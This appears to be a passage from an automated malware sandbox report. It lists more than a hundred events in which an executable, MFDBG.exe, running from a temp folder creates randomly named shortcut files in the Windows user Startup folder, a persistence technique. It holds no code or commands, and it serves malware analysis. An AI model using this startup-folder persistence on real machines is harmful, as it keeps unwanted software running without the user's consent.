Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5e036cdd1a4229960c35d98f3afc09.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b232f552655b442e91e243177dabfc23.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_658a35f72f36410e894938d8b4924e1b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fc62a6ef9bb44d49f4cf450238040ef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_169a8ab98ae344afbaf9d35089a0790c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77b0405ea0c54d08bcc96d7d3bd144ff.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_616c77c8d81b45189e7dc543774216b4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_caa654c0f4094f658b8057f71fd643e9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efc1798fdc224763b93016ab0cbb57ee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f14d23d85d314034bb30e6c2d60805bf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc6fe0b2a8ff495c9e7c5f8fac00502e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d4635a99a8346aca93415f5253b3472.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_19af4b0ec86e433784f31c45a8d89545.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c01d1f43abad47de9b63f5513ab96213.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89925ead917944e1bd230fadba57510f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b6a163b0b13426183717bb2fa3d0e3d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8992373415094bbb9cfd1f754c46e0f4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d460b570f2304dc19508dd01d13f93a8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1803509303b48f5b904c8fa1f099f5a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd626d5548ae42409c1fdae75147c9a8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17bd15a483464248ad45af8a36beb358.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_acd992553136413d9ee2cd1e9ae6b5da.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be9a163a6d3f439f9d330bef461bfbe7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60a37a0003fc4ed992eeb20a2b74cc1f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da45402122a24a7c85abe99910967088.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b3ebd8dad6b4d809ae166cfb9ae79fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4509f2ad60fe44cbbcb71522cc0b79c8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e89f36c22f04217af2679e3405c3703.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46ef1c6314cf4077810103f4d35b93d6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85324bf894f340f6bb73538e7d5331ff.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8115beec93a64fa48b4d8772888949ea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5994c4f76e949a59fbb1a9fc1620139.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4537eb6254c14cc5b547d02f5005b4bc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f2aa5d003b4e4e4394d6f4df59c5ab84.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9891e5b015b54949a17ffd45a9e9a8b8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_91d21475abfe4993aaa0ddc1229f8d04.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89d6b7170625409384e7f4a769f64bb9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32e7a693337445b88923a17f89a3aa5d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0dc090011b6e4d9ab510a6598886f387.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0c248d82c9c45fea0ffdebca94057e9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71746da67134498295117778ace96d82.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7617212e9fdb481a8319f93e4866b70c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_478197239b384fcbb76b176573f5ab40.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_699f6fbc03334506b0447e65da971d70.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dc1b158f099427bb96ad9cc5fc8216c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79146ee78bc846239b5ae6c55f4be0a9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61640328780f46dbb4ef329b770ec391.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f51a6e40cd24ca29760abfe493a5ae4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9cfa133bdd21477bb518e9ef2ff5e73d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9908f5b9f0914ad79ed59161a56225a1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7434f515181649b1852be6f948db531e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43498e3b584348428dbf1bf2adfda1e1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0877bef9c484cf79631336b46e0ce8e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_864643108bdd4e93a2e5f3a1b54f736b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b66c29c4921a4cd185e00d5de14bd280.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16931965b924417193e687a660433dd9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1521612094584a0486ccb444f864d999.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efccadbc38fe43118b7cfd2249ee9d94.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e39011e68dc84617b54d8d5f916c0859.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fea8f21d6524151a8354a388f915a9d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4aa219b9a074443c8f4dcee1e73bffa2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0f1447ebe4c4e06bf6426f43757da94.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ce22d3362b94f86afedcb078d7d96fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fea133c04c0f46ada8de02bef13e21da.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ece97f148b145e6a3369289e506e6f0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65d19de78cdd42438cbb6278064c7393.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fec38dda4120454ba4ac93c72d8b1434.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f92896aee25f46f6b1c76c819b6516ef.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f2f108031c94063b49ebe037131689a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff2ce5a97adf4d7f83314d1c2506ad96.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd0044b8bb51477a9a61eb28d99d85fb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b31eff860a8442c935e91802d887db1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16868aa1c52840faa0f08e37c0829bb7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a59cf8d9c0194c159b94910f3a2d9164.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d90feb2d13fa46948585361ce1e9f4f3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96124ec5f0194155ac18aaf4ffdaf7ba.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3533989310724dc5b3305b2029fa064b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a7b9703a245b4d8ba0563dae2b800293.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4bd03e6a40ec4664ae8ec4e2f36100fd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e72d1e922b284270b27fc39d9d870412.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b5f8100b04648328bde1b9a0bd06ec0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84d7e83159014bd6a24d57ec6cc36a79.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3082aa34e8184c72b425eb4a4c59f7ab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9120928cfc2745a8b17bb7e0101d4e87.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1c766fab86142ff90137a78ff4c83aa.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22261f44e25e4decb78bc5984f92d245.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a004dd27b5b14b609cb800c1834ec07c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06b41604452c48f8b035395d0090b77f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8399efd8149640e2a8d3a86fca27be2c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_174952eccd804bea92c86c5412c92c7c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ab77f2378ba45aabb052cb7cbb4c939.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4c85a20f7da4918b8f37885279efef7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26ddcc9abac74009aa03c4b94060b3e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_143a9690aadf46c484d44fa053c557fe.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_104f2f77afde412d8fec9a013cd2ae98.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e031093b780a4cb99f3940b4daf14752.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39f168ed837d4db69b8c4eaa8f263215.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3006cde8e9ec416d88e73b967d83ca55.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2eca189fda0944e191bab0820cc50f4b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c213091100f402292d3ded0624a0b2c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97408bace1944605a3474cb6adcaa28b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8f2d29b5970047218139df0ac2cd7a49.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d5a9068976e474483718d19f44e0498.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e5217a5e63ba41abbd3cbeddf1f00b28.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e024a750d6045de8f00184d7d113476.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0379f02ee0674870916bad2abadbf097.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f904d2b7f6d2425f806f74ff4548de80.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c890c9ecbb04fccb0832c8f46d5b8e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6876fb5476d4a1a8cd461cec6e4076d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce50ad6065a84c20aa02354f36f4c27c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_588009de7d0f4e5e817e3ae7c4860928.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4df69950c6e34401b394f3deb2c956d9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4f955d7b290486aa06e546930a42dea.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7b354e8efa1044fd834aa335d4ad1ea3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_420b49a7c3834955a124c6f2f1e86e81.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db784f4fafce4df98c5dc0b49add790a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0a68309049a9413faa1e81b11d91fa18.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b0b4307d21ea476daedcc240b69010ca.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_726e3eb562dd41ccb9648f564fa52023.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_016da7c1301d4de097ef4b59a422b464.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e622c2acc24b2e9bfa30c608806c27.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_010b4eea1cee40d590b50d0d214d9624.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5da6f5e0491e4ef591f4f369008bc15c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_869d1e5ea9b34297bd3880e5a5bea7dc.lnk	Jump to behavior
